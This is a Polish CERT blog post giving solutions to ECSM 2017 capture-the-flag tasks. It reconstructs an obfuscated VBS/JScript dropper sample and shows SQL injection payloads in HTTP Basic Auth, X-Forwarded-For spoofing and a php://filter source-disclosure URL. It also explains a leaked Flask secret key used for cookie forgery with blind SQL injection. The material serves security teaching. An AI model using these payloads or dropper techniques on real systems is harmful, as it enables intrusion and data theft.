Rozwiązania zadań z konkursu Capture The Flag w ramach ECSM 2017

Data publikacji: 28/11/2017, Mateusz Szymaniec

Na koniec października, czyli wybranego przez Komisję Europejską oraz ENISA miesiąca poświęconego bezpieczeństwu teleinformatycznemu, zorganizowaliśmy mały konkurs typu Capture The Flag.

Na zakończenie konkursu mamy przyjemność zaprezentować zwycięzców:

    1. valis (rozwiązanie nadesłane 12 godzin i 12 minut po rozpoczęciu konkursu),
    2. Borys Popławski (14 godzin i 19 minut),
    3. Krzysztof Stopczański (22 godziny i 16 minut).

Gratulujemy zwycięzcom, a wszystkim dziękujemy za udział w konkursie!

Chętni nadal mogą rozwiązać zadania na stronie ecsm2017.cert.pl.


Poniżej odnośniki do opisów rozwiązań poszczególnych zadań:


Czerwony Exploit

Zadanie

Dostajemy plik cyber.zip, w którym znajduje się plik cyber.exe. Nie pokazuje niczego oczywistego po uruchomieniu, więc jedyne co można z nim zrobić, to załadować do deasemblera (względnie dekompilatora).

Zaczynamy więc:

Program jest na tyle miły, że wita się z nami, wywołuje jakąś funkcję i żegna się.

Zobaczmy więc co znajduje się w tej funkcji.

Może nie być widać na pierwszy rzut oka, ale pętla z prawej strony to po prostu operacja xor z 0x1F – czyli cały ten kod sprowadza się do pobrania nazwy użytkownika i sprawdzenia czy po operacji xor jest równa nazwie z lewej strony. Jeśli tak, to wywoływana jest kolejna funkcja, jeśli nie, to program kończy działanie.

Łatwo odzyskać z tego wymaganą nazwę użytkownika – jest to RedaktorCyberobrona.

Idźmy więc do kolejnej funkcji:

Metoda analogiczna jak poprzednio – tylko zamiast nazwy użytkownika jest sprawdzana nazwa komputera, i zamiast operacji xor z 0x1F jest operacja sub 0x2.

Tym razem deszyfruje się ona do: CYBEROBRONA24.

Ponownie, w razie sukcesu wywoływana jest kolejna funkcja, więc popatrzmy na nią:

Trochę podobna do poprzednich funkcji, ale jednak inna.

Zaczyna się od długiej funkcji sub_40181A, której analizę pominiemy – ze stałych w niej zawartych można się domyślić, że wykonuje zapytanie do infiltrator na serwerze „C&C”, a trochę reversowania mówi, że port to 6012.

Następnie pobierana jest nazwa użytkownika i poddawana operacji xor z 0x99 – ale tym razem program nie sprawdza czy wynik jest poprawny! Zamiast tego wywołuje funkcję sub_4019F6 z nazwą użytkownika (po operacji xor), oraz pobranymi danymi.

Co kryje się w tej funkcji?

Jakaś metoda szyfrowania (tak naprawdę – kolejna operacja xor).
Nie ma to jednak znaczenia, skoro możemy podstawić po prostu znaną nam poprawną nazwę użytkownika i odszyfrować dane poprawnie.

Następnie w programie dane są parsowane, ale to nie jest wcale konieczne w przypadku rozwiązywania zadania – łatwo w zdeszyfrowanych danych spostrzec ciekawy fragment:

ecsm{czerwony_cyberatak_z_czerwonego_cyberwschodu}

Fałszywa faktura

Etap 1: Plik BAT

Na stronie zadania znajduje się link do rzekomej faktury. W spakowanym pliku w formacie ZIP można znaleźć plik wykonywalny Invoice_EC2455321.bat. Według opisu zadania: rolą tego pliku jest pobranie złośliwego oprogramowania na komputer ofiary. Udaje się to jednak tylko w przypadku konkretnego użytkownika.

Po otwarciu pliku .bat widzimy skrypt Windows Batch File, który po poleceniu exit zawiera skrypt w innym formacie.

@echo off
setlocal enableDelayedExpansion
set counter=1
set outpath="%temp%\ecsm"
set outfile="%temp%\ecsm\enjoy.wsf"
mkdir %outpath% 2>nul
set infile=%~n0%~x0
for /f "tokens=1 delims=:" %%a in ('findstr /n /b exit %infile%') do (
    set /A startline=%%a
    goto ok
)
:ok
more +!startline! %infile% > %outfile%
pushd %outpath% & cscript enjoy.wsf & popd
exit /b
''; /* <!--
Dim hope: Set hope = Nothing: Dim weakened: [...]

Na samym początku tworzony jest folder ecsm w TEMP. Ustawiane są też odpowiednie ścieżki w zmiennych środowiskowych m.in. outpath wskazujący na plik enjoy.wsf w utworzonym folderze i infile wskazujący na aktualnie wykonywany skrypt – %~n0%~x0. W Batchu %~n0 zwraca nazwę pliku bez ścieżki i rozszerzenia, a %~x0 zwraca rozszerzenie.

Następnie znajdowana jest linia zawierająca exit. Przy pomocy polecenia more cała zawartość znajdująca się za poleceniem exit kopiowana jest do pliku enjoy.wsf. Ostatecznie skopiowany plik WSF uruchamiany jest z użyciem cscript.

Etap 2: Plik WSF

Windows Script File (WSF) jest jednym z licznych formatów wspieranych przez silnik Windows Script Host. Pozwala na budowanie złożonych skryptów wykorzystujących kilka języków skryptowych (m.in. JScript i VBScript). Pliki WSF opisywane są przy użyciu XML. Używając różnego rodzaju znaczników możemy podzielić skrypty na zadania (<job>), importować zewnętrzne stałe (<reference>), opisywać argumenty wywołania (<runtime>) itp.

Na tym etapie wykorzystane zostały dwie cechy formatu:

    • możliwość ładowania skryptów wykorzystujących dwa języki – VBScript i JScript,
    • składnię komentarzy pliku XML w celu ukrycia zawartości w gąszczu kodu.

Skrypty w poszczególnych językach ładowane są na samym końcu opisywanego pliku:

''; /* --> <package> <job id="RickRolled">
' <script language="VBScript" src="./enjoy.wsf"> </script>
' <script language="JScript" src="./enjoy.wsf"> </script> </job> </package>
' */

Znaczniki zawarte w WSF ładują ten sam plik kolejno jako VBScript i jako JScript. Co ważne: w tak załadowanym skrypcie – obiekty pochodzące z wykonania pliku VBScript będą widoczne dla JScript (oba skrypty współdzielą global scope co pozwala wykorzystywać właściwości jednego języka w innym).

Do załadowania obu skryptów w ten sposób wymagana jest przewidywalna nazwa pliku – taką nazwę zapewnia etap 1.

Etap 3: Skrypt VBS

Dim hope: Set hope = Nothing
Dim weakened: Set weakened = Nothing
Dim innocent: Set innocent = Nothing
Function silence(plValue, pbBits)
    silence = plValue \ (2 ^ pbBits)
End Function

Dim reason: reason = "MSXML2.XMLHTTP"

Class Clever
    Private Sub Class_Initialize()
        ' Otwarcie pliku enjoy.wsf przy tworzeniu obiektu Clever
        If innocent Is Nothing Then
            Set innocent = img.src
            innocent.Type = 1
            innocent.Open
            innocent.LoadFromFile("./enjoy.wsf")
        End If
    End Sub
    Private Sub Class_Terminate():
        ' Destruktor dla obiektu Clever, ktory ustawia zmienna hope na wartosc zwracana z hate()
        ' Przy destrukcji: hope = hope ROL 1
        hope = hate()
    End Sub
    Private Sub Class_Destroy(): hope = ( hate() * 2 ) Xor &HFFFFFFFF: End Sub
    Private Sub Class_Finish(): hope = whispering("love"): End Sub
End Class

Function whispering(justice):
    ' whispering(justice) -> crc32(data)
    Dim joy, honest, sharing, l, valuable
    joy = "&h0,&h77073096,&hEE0E612C,&h990951BA,&h076DC419,&h706AF48F,&hE963A535,&h9E6495A3,&h0EDB8832,&h79DCB8A4,&hE0D5E91E,&h97D2D988,&h09B64C2B,&h7EB17CBD,&hE7B82D07,&h90BF1D91,&h1DB71064,&h6AB020F2,&hF3B97148,&h84BE41DE,&h1ADAD47D,&h6DDDE4EB,&hF4D4B551,&h83D385C7,&h136C9856,&h646BA8C0,&hFD62F97A,&h8A65C9EC,&h14015C4F,&h63066CD9,&hFA0F3D63,&h8D080DF5,&h3B6E20C8,&h4C69105E,&hD56041E4,&hA2677172,&h3C03E4D1,&h4B04D447," _
        + "&hD20D85FD,&hA50AB56B,&h35B5A8FA,&h42B2986C,&hDBBBC9D6,&hACBCF940,&h32D86CE3,&h45DF5C75,&hDCD60DCF,&hABD13D59,&h26D930AC,&h51DE003A,&hC8D75180,&hBFD06116,&h21B4F4B5,&h56B3C423,&hCFBA9599,&hB8BDA50F,&h2802B89E,&h5F058808,&hC60CD9B2,&hB10BE924,&h2F6F7C87,&h58684C11,&hC1611DAB,&hB6662D3D,&h76DC4190,&h01DB7106,&h98D220BC,&hEFD5102A,&h71B18589,&h06B6B51F,&h9FBFE4A5,&hE8B8D433,&h7807C9A2,&h0F00F934,&h9609A88E,&hE10E9818," _
        + "&h7F6A0DBB,&h086D3D2D,&h91646C97,&hE6635C01,&h6B6B51F4,&h1C6C6162,&h856530D8,&hF262004E,&h6C0695ED,&h1B01A57B,&h8208F4C1,&hF50FC457,&h65B0D9C6,&h12B7E950,&h8BBEB8EA,&hFCB9887C,&h62DD1DDF,&h15DA2D49,&h8CD37CF3,&hFBD44C65,&h4DB26158,&h3AB551CE,&hA3BC0074,&hD4BB30E2,&h4ADFA541,&h3DD895D7,&hA4D1C46D,&hD3D6F4FB,&h4369E96A,&h346ED9FC,&hAD678846,&hDA60B8D0,&h44042D73,&h33031DE5,&hAA0A4C5F,&hDD0D7CC9,&h5005713C,&h270241AA," _
        + "&hBE0B1010,&hC90C2086,&h5768B525,&h206F85B3,&hB966D409,&hCE61E49F,&h5EDEF90E,&h29D9C998,&hB0D09822,&hC7D7A8B4,&h59B33D17,&h2EB40D81,&hB7BD5C3B,&hC0BA6CAD,&hEDB88320,&h9ABFB3B6,&h03B6E20C,&h74B1D29A,&hEAD54739,&h9DD277AF,&h04DB2615,&h73DC1683,&hE3630B12,&h94643B84,&h0D6D6A3E,&h7A6A5AA8,&hE40ECF0B,&h9309FF9D,&h0A00AE27,&h7D079EB1,&hF00F9344,&h8708A3D2,&h1E01F268,&h6906C2FE,&hF762575D,&h806567CB,&h196C3671,&h6E6B06E7," _
        + "&hFED41B76,&h89D32BE0,&h10DA7A5A,&h67DD4ACC,&hF9B9DF6F,&h8EBEEFF9,&h17B7BE43,&h60B08ED5,&hD6D6A3E8,&hA1D1937E,&h38D8C2C4,&h4FDFF252,&hD1BB67F1,&hA6BC5767,&h3FB506DD,&h48B2364B,&hD80D2BDA,&hAF0A1B4C,&h36034AF6,&h41047A60,&hDF60EFC3,&hA867DF55,&h316E8EEF,&h4669BE79,&hCB61B38C,&hBC66831A,&h256FD2A0,&h5268E236,&hCC0C7795,&hBB0B4703,&h220216B9,&h5505262F,&hC5BA3BBE,&hB2BD0B28,&h2BB45A92,&h5CB36A04,&hC2D7FFA7,&hB5D0CF31," _
        + "&h2CD99E8B,&h5BDEAE1D,&h9B64C2B0,&hEC63F226,&h756AA39C,&h026D930A,&h9C0906A9,&hEB0E363F,&h72076785,&h05005713,&h95BF4A82,&hE2B87A14,&h7BB12BAE,&h0CB61B38,&h92D28E9B,&hE5D5BE0D,&h7CDCEFB7,&h0BDBDF21,&h86D3D2D4,&hF1D4E242,&h68DDB3F8,&h1FDA836E,&h81BE16CD,&hF6B9265B,&h6FB077E1,&h18B74777,&h88085AE6,&hFF0F6A70,&h66063BCA,&h11010B5C,&h8F659EFF,&hF862AE69,&h616BFFD3,&h166CCF45,&hA00AE278,&hD70DD2EE,&h4E048354,&h3903B3C2," _
        + "&hA7672661,&hD06016F7,&h4969474D,&h3E6E77DB,&hAED16A4A,&hD9D65ADC,&h40DF0B66,&h37D83BF0,&hA9BCAE53,&hDEBB9EC5,&h47B2CF7F,&h30B5FFE9,&hBDBDF21C,&hCABAC28A,&h53B39330,&h24B4A3A6,&hBAD03605,&hCDD70693,&h54DE5729,&h23D967BF,&hB3667A2E,&hC4614AB8,&h5D681B02,&h2A6F2B94,&hB40BBE37,&hC30C8EA1,&h5A05DF1B,&h2D02EF8D"
    honest = Split(joy, ",")
    valuable = Len(justice) : sharing = &HFFFFFFFF
    For l = 1 To valuable:                  
        sharing = honest(((sharing And &HFFFF) Xor Asc(Mid(justice, l, 1))) And &HFF) Xor silence(sharing, 8)
    Next
    sharing = sharing Xor &HFFFFFFFF
    whispering = sharing
End Function

' Wrapper, ktory pozwala konstruowac obiekty Clever z poziomu JScript
Function CallObject(sincerely): Set CallObject = New Clever: End Function

' ExecuteGlobal z curious
Function CreateDOMElement(faith):
    Dim x, y, z: Set y = Nothing
    faith = 0
    x = faith + 25 Xor &HFFFFFFFF
    y = x And &HFFFFFFFF Or 0 + 2555
    ' Tworzy obiekt Excited
    Set CreateDOMElement = new Excited
    z = x
    y = z
End Function


Function curious()
    ' ExecuteGlobal - Function CreateDOMElement....
    curious = silence("&H1836e", 5)
End Function

Dim img: img = curious()

' Wrapper wykorzystujacy getter do wywolania WScript.CreateObject
Class Excited
    Private wonderful
    Public Property Get src ( ): Set src = CreateObject ( wonderful ): End Property
    Public Property Let src ( nice ): wonderful = nice: End Property
End Class

' Stworzenie obiektu ADODB.Stream
Set img = CreateDOMElement("img")
img.src = "ADODB.Stream"
' Stworzenie obiektu Clever
Set weakened = New Clever

Function hate()
    ' RollLeft(hope, 1)
    ' Zwraca wartosc 'hope' obrocona bitowo w lewo o jeden bit
    Dim support, dislike, i
    dislike = hope
    Select Case VarType(dislike)
        Case vbLong
            support = (dislike And "&H3FFFFFFF") * 2
            If dislike And "&H40000000" Then support = support Or "&H80000000"
            If dislike And "&H80000000" Then support = support Or "&H1"
            support = CLng(support)
        Case vbInteger
            support = (dislike And "&H3FFF") * 2
            If dislike And "&H4000" Then support = support Or "&H8000"
            If dislike And "&H8000" Then support = support Or "&H1"
            support = CInt("&H"+ Hex(support))
        Case vbByte
            support = (dislike And "&H7F") * 2
            If dislike And "&H80" Then support = support Or "&H1"
            support = CByte(support)
    End Select
    hate = CLng(support)
End Function

' Zaladowanie do hope sumy CRC pliku 'enjoy.wsf'
hope = whispering(innocent.Read())

Plik wykorzystuje pewną specyficzną właściwość składni komentarzy obu języków skryptowych.

W przypadku VBS – linia komentarza rozpoczyna się apostrofem:

' komentarz vbscript
WScript.echo("hello world")
' /* komentarz jscript */

Dla języka JScript – apostrof stanowi znak rozpoczynający/kończący łańcuch znaków.

' komentarz vbscript
WScript.echo("hello world")
'
/* komentarz jscript */

Mieszanie obu rodzajów komentarzy pozwala przygotować plik, który poprawnie wykona się z użyciem interpreterów obu języków.

Zauważając, że wykomentowane sekcje VBScript zaczynają się od apostrofu – możemy pozyskać kod VBS pozbywając się wszystkich komentarzy:
sed -e "s/'.*//" enjoy.wsf > enjoy.vbs

Teraz możemy podjąć się deobfuskacji (niestety do VBScript ma zbyt wielu narzędzi, które pozwoliłyby uprościć ten proces). Elementy Execute i ExecuteGlobal możemy podejrzeć poprzez skopiowanie ich do osobnego pliku, podmienienie ich na WScript.echo i zwykłe wykonanie tych linii przy użyciu cscript.

Po analizie możemy zauważyć następujące elementy:

    • skrypt wczytuje plik enjoy.wsf i wylicza jego sumę kontrolną CRC32-Adler umieszczając ją w zmiennej hope,
    • destruktor obiektu Clever (metoda Class_Terminate – tak, VBScript ma destruktory…) obraca bitowo wartość hope o jeden bit w lewo (VBScript nie ma operatorów bitowych, stąd posługujemy się implementacją opartą na operacjach arytmetycznych). Przy każdej destrukcji obiektu Clever wartość jest modyfikowana,
    • funkcja CallObject pozwala na tworzenie obiektów Clever z poziomu skryptu JScript (operacje new z VBScript i JScript są niekompatybilne, więc trzeba posłużyć się wrapperem).

Oznacza to, że dowolna modyfikacja kodu może skończyć się wygenerowaniem innej sumy kontrolnej. Aby trudniej było odtworzyć zachowanie funkcji – posłużono się nietypowym wielomianem CRC, zaś sama wartość jest w kilku miejscach niejawnie (w destruktorze) modyfikowana.

Co więcej – okazuje się, że wykorzystana implementacja operacji ROL nie jest do końca poprawna.

Całość sprawia, że samodzielne wyliczenie poprawnej wartości staje się wyjątkowo trudne. Warto wykorzystać oryginalną implementację.

Etap 4: Skrypt JS

Kolejnym wykonywanym elementem jest skrypt w języku JScript. Kod możemy pozyskać posługując się dowolnym narzędziem do reformatowania kodu JavaScript (np. jsbeautifier.org) i wycinając zbędne elementy.

var myself = CallObject("SELF_PROCESS");

var arr = [1, 0x24312313, "./enjoy.wsf",
           function Object.prototype.toString() {
                return CallObject("VBOX_CHECK"), arr[4].src["SvyrRkvfgf".toLower()](arr[2])
           }, CreateDOMElement("a")];
var brr = ["enjoy".toUpper(this),
           (arr[4].src = "Scripting.FileSystemObject"),
           function showFear() {
                return WScript.CreateObject("JFpevcg.Argjbex".toLower())["HfreAnzr".toLower()]
           }, {
            "hey": "handsome"
           }.toString(), showFear()];

function onceAgain(d) {
    for (var k in d) {
        if (brr[k] !== d[k]) {
            (veryWell().Run("uggcf://lbhgh.or/qDj4j9JtKpD".toLower()), true) && veryUgly();
        }
    }
};

onceAgain(({
    0: "prr7pqr4",
    1: false,
    2: "enjoy"
}, {
    3: "hate",
    4: "PLORE-ERQNXPWN"
}, {
    0: "prr7pqr4".toLower(),
    3: true,
    4: "PLORE-ERQNXPWN".toLower()
}))

var setWindow = (function String.prototype.toUpper(th) {
    var SWBem = new th["NpgvirKBowrpg".toLower()]("JorzFpevcgvat.FJorzYbpngbe".toLower());
    var imw = SWBem["PbaarpgFreire".toLower()](".", "/ebbg/PVZI2".toLower());
    CallObject("HI HELLO!")
    var colItems = imw["RkrpDhrel".toLower()]("FRYRPG * SEBZ Jva32_YbtvpnyQvfx Jurer QrivprVQ = 'P:'".toLower());
    var e = new th["Rahzrengbe".toLower()](colItems);
    CallObject("LOVE_FROM_BEST_KOREA");
    for (CallObject("CRYPT_GEN_KEY"); !e.atEnd(); e.moveNext()) {
        return e.item()["IbyhzrFrevnyAhzore".toLower()].toLowerCase();
    }
    return "";
});

function veryWell() {
    return (WScript["CreateObject"]("JFpevcg.Furyy".toLower()));
}

function veryUgly() {
    this["JFpevcg".toLower()]["Dhvg".toLower()](1);
}

var fixit = [(function Number.prototype.checkValue() {
    return this == 1337;
}), (/([A-Z])+/g), (function String.prototype.toLower() {
    return this.replace(/([A-Ma-m])|([N-Zn-z])/g, function(m, p1, p2) {
        return String.fromCharCode(m.charCodeAt(0) + (p1 ? 13 : -13));
    });
})];

function Serenade() {
    var bestkorea = this["JFpevcg".toLower()]["PerngrBowrpg".toLower()]("ZFKZY2.KZYUGGC".toLower());
    'Serenade();';
    bestkorea["Bcra".toLower()]("CBFG".toLower(), "uggc://rpfz2017.preg.cy:6015/ncv/".toLower(), false);
    myself = null;
    bestkorea["Fraq".toLower()](showFear() + "|V|" + hope);
    if (bestkorea["ErfcbafrGrkg".toLower()].substr(0, 4) === "rpfz".toLower()) this["JFpevcg".toLower()]["rpub".toLower()](bestkorea["ErfcbafrGrkg".toLower()]);
    else {
        (veryWell().Run("uggcf://lbhgh.or/4_b47Tf6QD0".toLower()), true) && veryUgly();
    }
}
Serenade();
Deobfuskacja łańcuchów znaków

Na początek przyjrzyjmy się łańcuchom znaków:

function onceAgain(d) {
    for (var k in d) {
        if (brr[k] !== d[k]) {
            (veryWell().Run("uggcf://lbhgh.or/qDj4j9JtKpD".toLower()), true) && veryUgly();
        }
    }
};

Względnie łatwo zauważyć, że jest tutaj wykorzystywany algorytm ROT13. Implementacja znajduje się w tym miejscu:

var fixit = [(function Number.prototype.checkValue() {
    return this == 1337;
}), (/([A-Z])+/g), (function String.prototype.toLower() {
    return this.replace(/([A-Ma-m])|([N-Zn-z])/g, function(m, p1, p2) {
        return String.fromCharCode(m.charCodeAt(0) + (p1 ? 13 : -13));
    });
})];

Jakim cudem to działa? Ta konstrukcja wykorzystuje dwa elementy: Hoisting deklaracji funkcji i mechanizm prototypów.

Oba elementy języka są powszechnie wykorzystywane w JavaScript, ale nigdy jednocześnie. Deklaracja function A.prototype.B(...) {} nie jest zgodna ze składnią ECMAScript i jest specyficzna wyłącznie dla języka JScript. Pozwala to na określanie/przeciążanie metod dla obiektów String/Object/itd. w dowolnym miejscu scope’a.

Fakt niezgodności niesie za sobą dodatkowy problem – spora część parserów zgodnych z ES nie będzie w stanie poprawnie przeanalizować kodu zawierającego takie wyrażenia. Dotyczy to m.in. UglifyJS i (do niedawna) emulatora box-js – Pull request dla box-js wprowadzający wsparcie dla function A.B.

ROT13 możemy prosto zdekodować poniższym skryptem (Node.js):

var fs = require("fs");
var code = fs.readFileSync("writeup-enjoy.js").toString()
var deobfuscated = code.replace(/"(.+?)"\.toLower\(\)/g, (function(m, txt) {
        var replaced = txt.replace(/([A-Ma-m])|([N-Zn-z])/g, function(m, p1, p2) {
            return String.fromCharCode(m.charCodeAt(0) + (p1 ? 13 : -13));
        })
        return '"'+replaced+'"'
    }));
fs.writeFileSync("enjoy.deobf.js", deobfuscated);
Make droppers great onceAgain!

Pierwszym interesującym elementem jaki rzuca się w oczy po deobfuskacji jest wywołanie onceAgain:

function onceAgain(d) {
    for (var k in d) {
        if (brr[k] !== d[k]) {
            (veryWell().Run("https://youtu.be/dQw4w9WgXcQ"), true) && veryUgly();
        }
    }
};

onceAgain(({
    0: "prr7pqr4",
    1: false,
    2: "enjoy"
}, {
    3: "hate",
    4: "PLORE-ERQNXPWN"
}, {
    0: "cee7cde4",
    3: true,
    4: "CYBER-REDAKCJA"
}))

Funkcja sprawdza, czy wartości pod poszczególnymi kluczami argumentu zgadzają się z wartościami w tablicy brr. W razie niezgodności – otwierane jest okno przeglądarki z rickrollem a sam skrypt jest zamykany (veryUgly()).

Poszczególne elementy tablicy brr zawierają następujące infomacje:

    • 0 – numer seryjny woluminu C: (String.prototype.toUpper)
    • 3 – weryfikacja czy plik enjoy.wsf istnieje (Object.prototype.toString)
    • 4 – nazwa aktualnie zalogowanego użytkownika (showFear())

Jeśli onceAgain wykona się poprawnie, przechodzimy do wywołania Serenade.

Funkcja Serenade

Funkcja Serenade wygląda następująco:

function Serenade() {
    var bestkorea = this["WScript"]["CreateObject"]("MSXML2.XMLHTTP");
    'Serenade();';
    bestkorea["Open"]("POST", "http://ecsm2017.cert.pl:6015/api/", false);
    myself = null;
    bestkorea["Send"](showFear() + "|V|" + hope);
    if (bestkorea["ResponseText"].substr(0, 4) === "ecsm") this["WScript"]["echo"](bestkorea["ResponseText"]);
    else {
        (veryWell().Run("https://youtu.be/4_o47Gs6DQ0"), true) && veryUgly();
    }
}

Jej zadaniem jest pobranie z serwera poszukiwanej przez nas „próbki” – w tym wypadku flagi rozpoczynającej sie od „ecsm”. W tym celu wykonywane jest żądanie POST pod adres http://ecsm2017.cert.pl:6015/api/. Żądanie ma następujący format: <nazwa uzytkownika>|V|<suma kontrolna (ze znakiem)>
Jeśli zostaną przesłane poprawne dane – endpoint zwróci flagę. W przeciwnym wypadku – kod 404 co skończy się uruchomieniem kolejnego „rickrolla”.

Etap 5: Rozwiązanie

Dotarliśmy do końca analizy. Docelowe rozwiązanie wygląda następująco:

    1. Przenieś kod głównego skryptu do pliku enjoy.wsf (np. uruchamiając próbkę)
    2. W tym samym folderze utwórz kopię pliku np. o nazwie copy.wsf
    3. Podmień ścieżki w znacznikach <script> w .wsf tak aby wskazywały na plik copy.wsf. Dzięki temu umożliwimy sobie dowolne modyfikowanie skryptu z zachowaniem (przy odrobinie ostrożności) poprawnej sumy.
    4. Znajdź funkcję showFear i podmień zwracany ciąg znaków na CYBER-REDAKCJA
    5. Usuń wywołanie onceAgain ze skryptu, aby umożliwić przejście do Serenade
    6. Uruchom copy.wsf – zostanie wyświetlona flaga!

Ważne jest, aby całość wykonać robiąc jak najmniej zmian – w niektórych miejscach w kodzie wyzwalany jest destruktor Clever. Aby suma była poprawna, musi być wywołany odpowiednią liczbę razy.

Dlaczego?

Idea działania dropperów jest względnie prosta – są to pliki wykonywalne, których głównym zadaniem jest pobranie i instalacja złośliwego oprogramowania. Zdarza się jednak, że prostota idzie w parze z silną obfuskacją i licznymi utrudnieniami w analizie. Przy tworzeniu tego zadania część sztuczek została zaczerpnięta z prawdziwych złośliwych skryptów, które pojawiają się w spamie.

Zadanie miało na celu przybliżyć proces analizowania wyjątkowo „złośliwego” skryptu. Bardzo często w przypadku wszelkiego rodzaju crack-me opartych na językach skryptowych, do rozwiązania wystarczy doprowadzenie skryptu do czytelnej postaci. W tym wypadku – problemem staje się sam język.

Podwójne uwierzytelnianie

Odnośniki na stronie z zadaniem mają postać adresu /index.php/instructions. Próbując odwiedzić nieistniejącą stronę, np. /index.php/abc aplikacja zwraca nam następujący błąd:

Warning: include(abc.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 30
Warning: include(): Failed opening 'abc.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 30

Błąd dołączenia pliku abc.php może nam sugerować, że aplikacja wykonuje kod zbliżony do include($parametr . '.php'). Możemy w takim razie spróbować użyć wrappera php:// jako protokołu w adresie, a konkretnie filtru convert.base64-decode do odczytania kodu źródłowego z plików aplikacji.

I faktycznie po odwiedzeniu adresu: /index.php/php://filter/read=convert.base64-encode/resource=index dostajemy zawartość index.php:
PD9waHAKb2Jfc3RhcnQoKTsKZGVmaW5lK...

Ze wszystkich dostępnych plików zdecydowanie najciekawszym jest instructions.php:

<?php if(!defined('APP')) { die('직접 접근 금지'); }

$ip = $_SERVER['HTTP_CLIENT_IP'] ?: ($_SERVER['HTTP_X_FORWARDED_FOR'] ?: $_SERVER['REMOTE_ADDR']);

function ip_in_range($ip, $min, $max) {
    return (ip2long($min) <= ip2long($ip) && ip2long($ip) <= ip2long($max));
}

if(ip_in_range($ip, '175.45.176.0', '175.45.179.255') ||
   ip_in_range($ip, '210.52.109.0', '210.52.109.255') ||
   ip_in_range($ip, '77.94.35.0', '77.94.35.255')) {
   
    if (!isset($_SERVER['PHP_AUTH_USER'])) {
        header('HTTP/1.0 401 Unauthorized');
        header('WWW-Authenticate: Basic realm="LOGIN"');
    } else {
        $login = $_SERVER['PHP_AUTH_USER'];
        $password = $_SERVER['PHP_AUTH_PW'];
       
        $db = new PDO('sqlite:database.sqlite3');

        $result = $db->query("select login, password from users where login = '$login'");
        if (!$result) { die($db->errorInfo()[2]); }
        $data = $result->fetchAll();

        if(count($data) == 0) {
            header('HTTP/1.0 401 Unauthorized');
            header('WWW-Authenticate: Basic realm="NO USER"');
        } elseif (md5($password) !== $data[0]['password']) {
            header('HTTP/1.0 401 Unauthorized');
            header('WWW-Authenticate: Basic realm="WRONG PASSWORD"');
        } else {
            print '<h2>안녕하십니까</h2>';

            $result = $db->query("select message from instructions where login = '{$data[0]['login']}'");
            if (!$result) { die($db->errorInfo()[2]); }
            $data = $result->fetchAll();

            if(count($data) == 0) {
                print('<h3>메시지 없음</h3>');
            } else {
                print '<h3>여기에 당신을위한 메시지가 있습니다.:</h3>';

                foreach($data as $row) {
                    print "<p>- {$row['message']}</p>";
                }
            }
        }
    }
} else {
    ?>
        <p>귀하의 지적 재산권은 영광 된 북한에 속해 있지 않습니다. VPN을 사용하면 사용자 이름과 비밀번호로 로그인 할 수 있습니다.</p>
    <?php
}

?>

Treść zadania sugerowała nam, że mamy odzyskać wiadomość użytkownika, którego nazwy nie znamy. Musimy po drodze przejść kilka warunków:

Pierwszy z nich to ograniczenie na adres IP.

Jednak po poniższym kodzie widzimy, że możemy oszukać aplikację podając sfabrykowaną wartość w nagłówku X-Forwarded-For – serwer powinien dodatkowo weryfikować czy jest to informacja z zaufanego serwera proxy.

$ip = $_SERVER['HTTP_CLIENT_IP'] ?: ($_SERVER['HTTP_X_FORWARDED_FOR'] ?: $_SERVER['REMOTE_ADDR']);

Następnym błędem w aplikacji to przekazanie parametrów do zapytań SQL powodujący możliwość wykonania SQL injection. Parametr, w którym możemy umieścić nasz payload to nazwa użytkownika podana w mechaniźmie HTTP Basic Auth.

$result = $db->query("select login, password from users where login = '$login'");
$data = $result->fetchAll();
$result = $db->query("select message from instructions where login = '{$data[0]['login']}'");

Możemy dzięki temu zadanie rozwiązać na kilka sposobów.

Pierwszy z nich to wybranie nieznanej nam nazwy użytkownika już w pierwszym zapytaniu:

username = "' union select (select login from users limit 1 offset 1), '098f6bcd4621d373cade4e832627b4f6' --"
password = 'test'

Musimy również podać „prawidłowe” hasło – a raczej zwrócić z zapytania hash md5 zgodny z hasłem podanym w HTTP Basic Auth.

Modyfikując offset w powyższym zapytaniu możemy pobrać wiadomości dowolnego użytkownika. W naszym przypadku był to drugi użytkownik.

Kolejna metoda to zwrócenie kolejnego SQL injection jako login, który będzie użyty w drugim zapytaniu:

username = "' union select "\'or 1=1 --", '098f6bcd4621d373cade4e832627b4f6' --"
password = '
test'

Można było też odzyskać login naszego użytkownika za pomocą blind SQL Injection.

Odzyskana flaga to ecsm{cyber.szpiegostwo}.

Memo Service

W pliku robots.txt możemy znaleźć informację o dwóch interesujących plikach: server.py oraz server.pyc.

O ile pierwszego z nich nie jesteśmy w stanie pobrać, to drugi zwraca nam skompilowany bytecode aplikacji w języku Python.

Po zdekompilowaniu narzędziem uncompyle6 otrzymujemy następujący kod źródłowy:

# uncompyle6 version 2.12.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.13 (default, Jan 19 2017, 14:48:08)
# [GCC 6.3.0 20170118]
# Embedded file name: /opt/memo/server.py
# Compiled at: 2017-10-30 14:42:54
from flask import Flask, session, render_template, request, redirect
from uuid import uuid4
from setup_server import cursor
app = Flask(__name__)
app.secret_key = 'lz2fhklkScDccJbseN3E'

@app.route('/')
def index():
    session['id'] = session.get('id', str(uuid4()))
    cursor.execute("select count(*) from users where user_id='%s'" % session['id'])
    new_user = int(cursor.fetchone()[0]) == 0
    cursor.execute('select memo from memos where user_id=?', [session['id']])
    memos = [ x[0] for x in cursor.fetchall() ]
    return render_template('index.html', memos=memos, new_user=new_user)


@app.route('/save', methods=['POST'])
def save_memo():
    session['id'] = session.get('id', str(uuid4()))
    cursor.execute('insert into memos values (?, ?)', (request.form.get('memo'), session['id']))
    return redirect('/', code=302)


@app.route('/accept_cookies', methods=['POST'])
def accept_cookies():
    cursor.execute('insert into users values (?)', [session['id']])
    return redirect('/', code=302)
# okay decompiling server.pyc

Z powyższego kodu można wyciągnąć dwie ważne informacje:

    • zapytanie "select count(*) from users where user_id='%s'" % session['id'] zawiera sql injection,
    • znamy sekretny klucz aplikacji służący do podpisywania ciasteczek.

Jeśli zbadamy działanie aplikacji to zauważymy, że argument new_user odpowiada za wyświetlanie informacji o ciasteczkach dla nowych użytkowników.

Jeśli połączymy wszystkie zebrane wiadomości to już jesteśmy rozwiązać zadanie:

    • tworzymy fałszywą sesję z id zawierającym blind sql injection,
    • podpisujemy ciasteczko za pomocą wykradzionego klucza,
    • wykradamy dane z bazy bit po bicie.

